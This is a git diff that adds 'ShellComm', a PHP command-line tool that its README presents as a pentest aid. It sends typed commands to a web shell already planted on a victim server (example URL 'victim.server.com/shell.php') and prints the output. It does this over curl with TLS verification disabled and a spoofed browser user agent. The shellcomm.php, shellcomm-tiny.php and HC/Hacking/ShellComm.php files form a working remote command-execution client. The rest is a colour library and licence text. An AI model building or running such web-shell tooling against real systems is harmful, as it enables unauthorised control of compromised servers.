diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d4cb069 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +*~ +*.bak +*.swp diff --git a/HC/Autoloader.php b/HC/Autoloader.php new file mode 100644 index 0000000..dbe4e0a --- /dev/null +++ b/HC/Autoloader.php @@ -0,0 +1,65 @@ +. + * ---------------------------------------------------------------------------- + * + */ +class Autoloader +{ + /** + * Register autoloader + */ + public static function register() + { + if (function_exists('__autoload')) { + // Just in case... + spl_autoload_register('__autoload'); + } + return spl_autoload_register([\HC\Autoloader::class, 'load'], true, true); + } + + /** + * Autoload a HC class identified by name. + * + * @param string $className Name of the object to load + */ + public static function load($className) + { + $prefix = 'HC\\'; + if ((class_exists($className, false)) || (strpos($className, $prefix) !== 0)) { + // Either already loaded, or not a HC class request + return false; + } + + $classFilePath = __DIR__ . DIRECTORY_SEPARATOR . + str_replace([$prefix, '\\'], ['', DIRECTORY_SEPARATOR], $className) . + '.php'; + + if ((file_exists($classFilePath) === false) || (is_readable($classFilePath) === false)) { + // Can't load + return false; + } + + require $classFilePath; + } +} diff --git a/HC/Bootstrap.php b/HC/Bootstrap.php new file mode 100644 index 0000000..3b95aa2 --- /dev/null +++ b/HC/Bootstrap.php @@ -0,0 +1,28 @@ +. + * ---------------------------------------------------------------------------- + * + */ + +require_once __DIR__ . '/Autoloader.php'; + +\HC\Autoloader::register(); diff --git a/HC/CLI/Colors/Color.php b/HC/CLI/Colors/Color.php new file mode 100644 index 0000000..81ec5d6 --- /dev/null +++ b/HC/CLI/Colors/Color.php @@ -0,0 +1,323 @@ +(.*?)#s'; + /** @link http://www.php.net/manual/en/functions.user-defined.php */ + const STYLE_NAME_PATTERN = '/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/'; + + const ESC = "\033["; + const ESC_SEQ_PATTERN = "\033[%sm"; + + protected $initial = ''; + protected $wrapped = ''; + // italic and blink may not work depending of your terminal + protected $styles = array( + 'reset' => '0', + 'bold' => '1', + 'dark' => '2', + 'italic' => '3', + 'underline' => '4', + 'blink' => '5', + 'reverse' => '7', + 'concealed' => '8', + + 'default' => '39', + 'black' => '30', + 'red' => '31', + 'green' => '32', + 'yellow' => '33', + 'blue' => '34', + 'magenta' => '35', + 'cyan' => '36', + 'light_gray' => '37', + + 'dark_gray' => '90', + 'light_red' => '91', + 'light_green' => '92', + 'light_yellow' => '93', + 'light_blue' => '94', + 'light_magenta' => '95', + 'light_cyan' => '96', + 'white' => '97', + + 'bg_default' => '49', + 'bg_black' => '40', + 'bg_red' => '41', + 'bg_green' => '42', + 'bg_yellow' => '43', + 'bg_blue' => '44', + 'bg_magenta' => '45', + 'bg_cyan' => '46', + 'bg_light_gray' => '47', + + 'bg_dark_gray' => '100', + 'bg_light_red' => '101', + 'bg_light_green' => '102', + 'bg_light_yellow' => '103', + 'bg_light_blue' => '104', + 'bg_light_magenta' => '105', + 'bg_light_cyan' => '106', + 'bg_white' => '107', + ); + protected $userStyles = array(); + protected $isStyleForced = false; + + public function __construct($string = '') + { + $this->setInternalState($string); + } + + public function __invoke($string) + { + return $this->setInternalState($string); + } + + public function __call($method, $args) + { + if (count($args) >= 1) { + return $this->apply($method, $args[0]); + } + + return $this->apply($method); + } + + public function __get($name) + { + return $this->apply($name); + } + + public function __toString() + { + return $this->wrapped; + } + + public function setForceStyle($force) + { + $this->isStyleForced = (bool) $force; + } + + public function isStyleForced() + { + return $this->isStyleForced; + } + + /** + * Returns true if the stream supports colorization. + * + * Colorization is disabled if not supported by the stream: + * + * - Windows without Ansicon, ConEmu or Babun + * - non tty consoles + * + * @return bool true if the stream supports colorization, false otherwise + * + * @link https://github.com/symfony/Console/blob/master/Output/StreamOutput.php#L95-L102 + * @codeCoverageIgnore + */ + public function isSupported() + { + if (DIRECTORY_SEPARATOR == '\\') { + return false !== getenv('ANSICON') || 'ON' === getenv('ConEmuANSI') || false !== getenv('BABUN_HOME'); + } + + return (false !== getenv('BABUN_HOME')) || function_exists('posix_isatty') && @posix_isatty(STDOUT); + } + + /** + * @codeCoverageIgnore + */ + public function are256ColorsSupported() + { + return DIRECTORY_SEPARATOR === '/' && false !== strpos(getenv('TERM'), '256color'); + } + + protected function setInternalState($string) + { + $this->initial = $this->wrapped = (string) $string; + return $this; + } + + protected function stylize($style, $text) + { + if (!$this->shouldStylize()) { + return $text; + } + + $style = strtolower($style); + + if ($this->isUserStyleExists($style)) { + return $this->applyUserStyle($style, $text); + } + + if ($this->isStyleExists($style)) { + return $this->applyStyle($style, $text); + } + + if (preg_match('/^((?:bg_)?)color\[([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\]$/', $style, $matches)) { + $option = $matches[1] == 'bg_' ? 48 : 38; + return $this->buildEscSeq("{$option};5;{$matches[2]}") . $text . $this->buildEscSeq($this->styles['reset']); + } + + throw new NoStyleFoundException("Invalid style $style"); + } + + protected function shouldStylize() + { + return $this->isStyleForced() || $this->isSupported(); + } + + protected function isStyleExists($style) + { + return array_key_exists($style, $this->styles); + } + + protected function applyStyle($style, $text) + { + return $this->buildEscSeq($this->styles[$style]) . $text . $this->buildEscSeq($this->styles['reset']); + } + + protected function buildEscSeq($style) + { + return sprintf(self::ESC_SEQ_PATTERN, $style); + } + + protected function isUserStyleExists($style) + { + return array_key_exists($style, $this->userStyles); + } + + protected function applyUserStyle($userStyle, $text) + { + $styles = (array) $this->userStyles[$userStyle]; + + foreach ($styles as $style) { + $text = $this->stylize($style, $text); + } + + return $text; + } + + public function apply($style, $text = null) + { + if ($text === null) { + $this->wrapped = $this->stylize($style, $this->wrapped); + return $this; + } + + return $this->stylize($style, $text); + } + + public function fg($color, $text = null) + { + return $this->apply($color, $text); + } + + public function bg($color, $text = null) + { + return $this->apply('bg_' . $color, $text); + } + + public function highlight($color, $text = null) + { + return $this->bg($color, $text); + } + + public function reset() + { + $this->wrapped = $this->initial; + return $this; + } + + public function center($width = 80, $text = null) + { + if ($text === null) { + $text = $this->wrapped; + } + + $centered = ''; + foreach (explode(PHP_EOL, $text) as $line) { + $line = trim($line); + $lineWidth = strlen($line) - mb_strlen($line, 'UTF-8') + $width; + $centered .= str_pad($line, $lineWidth, ' ', STR_PAD_BOTH) . PHP_EOL; + } + + $this->setInternalState(trim($centered, PHP_EOL)); + return $this; + } + + protected function stripColors($text) + { + return preg_replace('/' . preg_quote(self::ESC) . '\d+m/', '', $text); + } + + public function clean($text = null) + { + if ($text === null) { + $this->wrapped = $this->stripColors($this->wrapped); + return $this; + } + + return $this->stripColors($text); + } + + public function strip($text = null) + { + return $this->clean($text); + } + + public function isAValidStyleName($name) + { + return preg_match(self::STYLE_NAME_PATTERN, $name); + } + + /** + * @deprecated + * @codeCoverageIgnore + */ + public function setTheme(array $theme) + { + return $this->setUserStyles($theme); + } + + public function setUserStyles(array $userStyles) + { + foreach ($userStyles as $name => $styles) { + if (!$this->isAValidStyleName($name)) { + throw new InvalidStyleNameException("$name is not a valid style name"); + } + + if (in_array($name, (array) $styles)) { + throw new RecursionInUserStylesException('User style cannot reference itself.'); + } + } + + $this->userStyles = $userStyles; + return $this; + } + + protected function colorizeText($text) + { + return preg_replace_callback(self::FORMAT_PATTERN, array($this, 'replaceStyle'), $text); + } + + /** + * @link https://github.com/symfony/Console/blob/master/Formatter/OutputFormatter.php#L124-162 + */ + public function colorize($text = null) + { + if ($text === null) { + $this->wrapped = $this->colorizeText($this->wrapped); + return $this; + } + + return $this->colorizeText($text); + } + + protected function replaceStyle($matches) + { + return $this->apply($matches[1], $this->colorize($matches[2])); + } +} diff --git a/HC/CLI/Colors/Exception.php b/HC/CLI/Colors/Exception.php new file mode 100644 index 0000000..8ad272b --- /dev/null +++ b/HC/CLI/Colors/Exception.php @@ -0,0 +1,7 @@ + + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/HC/CLI/Colors/NoStyleFoundException.php b/HC/CLI/Colors/NoStyleFoundException.php new file mode 100644 index 0000000..ff26e35 --- /dev/null +++ b/HC/CLI/Colors/NoStyleFoundException.php @@ -0,0 +1,7 @@ + ['green', 'bg_default'], + 'error' => ['red', 'bg_default'], + 'warning' => ['yellow', 'bg_default'], + 'info' => ['light_blue', 'bg_default'], + ]; + + public function __construct() { + parent::__construct(); + + $this->setTheme($this->themes); + } + + public function colour($string, $theme = 'shell', $style = 'default') { + return $this->apply($style, $this->$theme($string)); + } + + public function addTheme($name, array $theme) { + $this->themes[$name] = $theme; + $this->setTheme($this->themes); + } +} diff --git a/HC/Hacking/ShellComm.php b/HC/Hacking/ShellComm.php new file mode 100644 index 0000000..a91c80e --- /dev/null +++ b/HC/Hacking/ShellComm.php @@ -0,0 +1,147 @@ + +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# *************************************************************************** + +namespace HC\Hacking; + +class ShellComm extends \HC\CLI\Colours +{ + protected $shell_url; + protected $shell_param; + protected $command; + protected $host; + protected $username; + protected $ch; + protected $response; + protected $pwd = ''; + protected $colour; + + protected static function get_curl_opts($url) { + return [ + CURLOPT_AUTOREFERER => 1, + CURLOPT_MAXREDIRS => 5, + CURLOPT_FOLLOWLOCATION => 0, + CURLOPT_HEADER => 0, + CURLOPT_FRESH_CONNECT => 1, + CURLOPT_RETURNTRANSFER => 1, + CURLOPT_FORBID_REUSE => 0, + CURLOPT_TIMEOUT => 10, + CURLOPT_SSL_VERIFYPEER => 0, + CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1; WOW64; ' . + 'rv:29.0) Gecko/20120101 Firefox/57.0', + CURLOPT_URL => $url + ]; + } + + public function __construct($shell_url = '', $shell_param = '') { + $this->username = get_current_user(); + $this->ch = curl_init(); + $this->setShellUrl($shell_url); + $this->setShellParam($shell_param); + + parent::__construct(); + $this->addTheme('response', ['light_cyan', 'bg_default']); + } + + public function __destruct() { + curl_close($this->ch); + } + + protected function buildUrl() { + return $this->shell_url . '?' . $this->shell_param . '=' + . urlencode($this->command); + } + + public function setShellUrl($url) { + $this->shell_url = $url; + $host = parse_url($url); + $this->host = isset($host['host']) ? $host['host'] : 'shellcomm'; + } + + public function setShellParam($param) { + $this->shell_param = $param; + } + + public function getResponse() { + return isset($this->response) ? $this->response : ''; + } + + public function getErrorNumber() { + return curl_errno($this->ch); + } + + public function getErrorDescription() { + return curl_error($this->ch); + } + + public function readInput() { + echo $this->colour( + $this->username . '@' . $this->host . ':' . $this->pwd . '$ ', + 'shell' + ); + $this->command = readline(); + return $this->command; + } + + public function execute() { + curl_setopt_array($this->ch, self::get_curl_opts($this->buildUrl())); + $response = curl_exec($this->ch); + $http_code = curl_getinfo($this->ch, CURLINFO_HTTP_CODE); + if ($http_code == 200) { + $this->response = $this->colour($response, 'response'); + } else { + $this->response = + $this->colour( + 'Got a http code ' . $http_code . ' and the response is', + 'warning' + ) . ( + empty($response) + ? $this->colour(' empty.', 'warning') + : $this->colour(':', 'warning') . PHP_EOL + . $this->colour($response, 'response') + ) + ; + } + } + + public function run() { + /* + $this->command = 'pwd'; + $this->execute(); + $this->pwd = $this->getResponse(); + //*/ + + if($this->readInput() === false) { + return false; + } + + $this->execute(); + $errno = $this->getErrorNumber(); + if ($errno) { + return $this->colour( + 'Error #' . $errno . ': ' . $this->getErrorDescription(), + 'error' + ); + } + + return $this->getResponse(); + } +} diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. 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Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/README.md b/README.md new file mode 100644 index 0000000..f9407e3 --- /dev/null +++ b/README.md @@ -0,0 +1,41 @@ +# ShellComm + +**ShellComm** is a simple interactive CLI remote shell communicator. Sometimes, during a pentest, you get to upload a shell but you can't upload a heavy, complex one for whatever reason. In those situations, you can simply upload the tinyest shell like `. + +**ShellComm** uses [Colors](https://github.com/kevinlebrun/colors.php) by @kevinlebrun under MIT license. diff --git a/assets/imgs/shellcomm.png b/assets/imgs/shellcomm.png new file mode 100644 index 0000000..3e5e1f2 Binary files /dev/null and b/assets/imgs/shellcomm.png differ diff --git a/shellcomm-tiny.php b/shellcomm-tiny.php new file mode 100644 index 0000000..bb7da6c --- /dev/null +++ b/shellcomm-tiny.php @@ -0,0 +1,118 @@ + +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# *************************************************************************** + +const VERSION = '0.2.1'; + +function build_url($shell_url, $shell_param, $cmd) { + return $shell_url . '?' . $shell_param . '=' . urlencode($cmd); +} + +function get_curl_opts($url) { + return array( + CURLOPT_AUTOREFERER => 1, + CURLOPT_MAXREDIRS => 20, + CURLOPT_FOLLOWLOCATION => 0, + CURLOPT_HEADER => 0, + CURLOPT_FRESH_CONNECT => 1, + CURLOPT_RETURNTRANSFER => 1, + CURLOPT_FORBID_REUSE => 0, + CURLOPT_TIMEOUT => 10, + CURLOPT_SSL_VERIFYPEER => 0, + CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0', + CURLOPT_URL => $url + ); +} + +function bye() { + exit(PHP_EOL . 'Bye!' . PHP_EOL); +} + +$user = get_current_user(); + +echo " +______ _ _ ______ _____ _ _ _ _____ _____ _ +| ___ \ | | || ___ \ / ___| | | | / __ \ |_ _(_) +| |_/ / |_| || |_/ / \ `--.| |__ ___| | | / \/ ___ _ __ ___ _ __ ___ | | _ _ __ _ _ +| __/| _ || __/ `--. \ '_ \ / _ \ | | | / _ \| '_ ` _ \| '_ ` _ \ | | | | '_ \| | | | +| | | | | || | /\__/ / | | | __/ | | \__/\ (_) | | | | | | | | | | | | | | | | | | |_| | +\_| \_| |_/\_| \____/|_| |_|\___|_|_|\____/\___/|_| |_| |_|_| |_| |_| \_/ |_|_| |_|\__, | + __/ | + |___/ +"; + +echo 'PHP ShellComm Tiny v', VERSION, + ' by HacKan (https://hackan.net) - GNU GPL v3.0+', PHP_EOL, + 'Communicate with a remote shell with easy and more comfortable', + PHP_EOL, PHP_EOL; + +if (php_sapi_name() != 'cli') { + die('Error: this script must be run as CLI'); +} + +while(true) { + $shell_url = readline('Set remote shell URL with protocol but without parameters, ie: http://victim.server.com/shell.php: '); + if (filter_var($shell_url, FILTER_VALIDATE_URL)) { + break; + } elseif ($shell_url === false) { + bye(); + } else { + echo 'The URL seems wrong, type it again please...', PHP_EOL; + } +} +$shell_param = readline('Set remote shell parameter for command [cmd]: '); + +$ch = curl_init(); +$url_parsed = parse_url($shell_url); +$host = isset($url_parsed['host']) ? $url_parsed['host'] : 'shellcomm'; + +echo PHP_EOL, + 'Commands will execute in ', $shell_url, '?', $shell_param, + '=', PHP_EOL, PHP_EOL, + 'Entering shell, exit with CTRL+D...', PHP_EOL; + +while(true) { + + $input = readline($user . '@' . $host . ':$ '); + if($input === false){ + break; + } + + $url = build_url($shell_url, $shell_param, $input); + curl_setopt_array($ch, get_curl_opts($url)); + $response = curl_exec($ch); + if(curl_errno($ch)) { + echo 'Error #', curl_errno($ch), ': ', curl_error($ch), PHP_EOL; + } else { + $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); + if ($http_code == 200) { + echo $response, PHP_EOL; + } else { + echo '>>> Got a http code ', $http_code, ' and the response is', ( + empty($response) + ? ' empty.' . PHP_EOL + : ':' . PHP_EOL . $response . PHP_EOL + ); + } + } +} + +curl_close($ch); +bye(); diff --git a/shellcomm.php b/shellcomm.php new file mode 100755 index 0000000..3d96642 --- /dev/null +++ b/shellcomm.php @@ -0,0 +1,100 @@ + +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# *************************************************************************** + +const VERSION = '0.3.1'; + +require_once('HC' . DIRECTORY_SEPARATOR . 'Bootstrap.php'); +error_reporting(E_ALL); + +function bye() { + return PHP_EOL . 'Bye!' . PHP_EOL; +} + +$shellcomm = new \HC\Hacking\ShellComm(); + +echo $shellcomm->colour( +" +______ _ _ ______ _____ _ _ _ _____ +| ___ \ | | || ___ \ / ___| | | | / __ \ +| |_/ / |_| || |_/ / \ `--.| |__ ___| | | / \/ ___ _ __ ___ _ __ ___ +| __/| _ || __/ `--. \ '_ \ / _ \ | | | / _ \| '_ ` _ \| '_ ` _ \ +| | | | | || | /\__/ / | | | __/ | | \__/\ (_) | | | | | | | | | | | +\_| \_| |_/\_| \____/|_| |_|\___|_|_|\____/\___/|_| |_| |_|_| |_| |_| + +", +'shell', +'bold'); + +echo $shellcomm->colour( + 'PHP ShellComm v' . VERSION . + ' by HacKan (https://hackan.net) - GNU GPL v3.0+' . PHP_EOL . + 'Communicate with a remote shell with easy and more comfortable' . PHP_EOL . + PHP_EOL, + 'info' +); + +if (php_sapi_name() != 'cli') { + die('Error: this script must be run as CLI'); +} + +while(true) { + echo $shellcomm->colour( + 'Set remote shell URL with protocol but without parameters, ' . + 'like: http://victim.server.com/shell.php: ' + ); + $shell_url = readline(); + if (filter_var($shell_url, FILTER_VALIDATE_URL)) { + break; + } elseif ($shell_url === false) { + echo $shellcomm->colour(bye()); + exit(); + } else { + echo $shellcomm->colour( + 'The URL seems wrong, type it again please...', 'error' + ), PHP_EOL; + } +} + +echo $shellcomm->colour( + 'Set remote shell parameter for command [cmd]: ' +); +$shell_param = readline() ?: 'cmd'; + +$shellcomm->setShellUrl($shell_url); +$shellcomm->setShellParam($shell_param); + +echo $shellcomm->colour( + PHP_EOL. + 'Commands will execute in ' . $shell_url . '?' . $shell_param + . '=' . PHP_EOL . PHP_EOL + . 'Entering shell, exit with ', + 'info' + ), + $shellcomm->colour('CTRL+D', 'warning', 'italic'), + $shellcomm->colour('...', 'info'), PHP_EOL; + +$response = $shellcomm->run(); +while($response != false) { + echo $response, PHP_EOL; + $response = $shellcomm->run(); +} + +echo $shellcomm->colour(bye());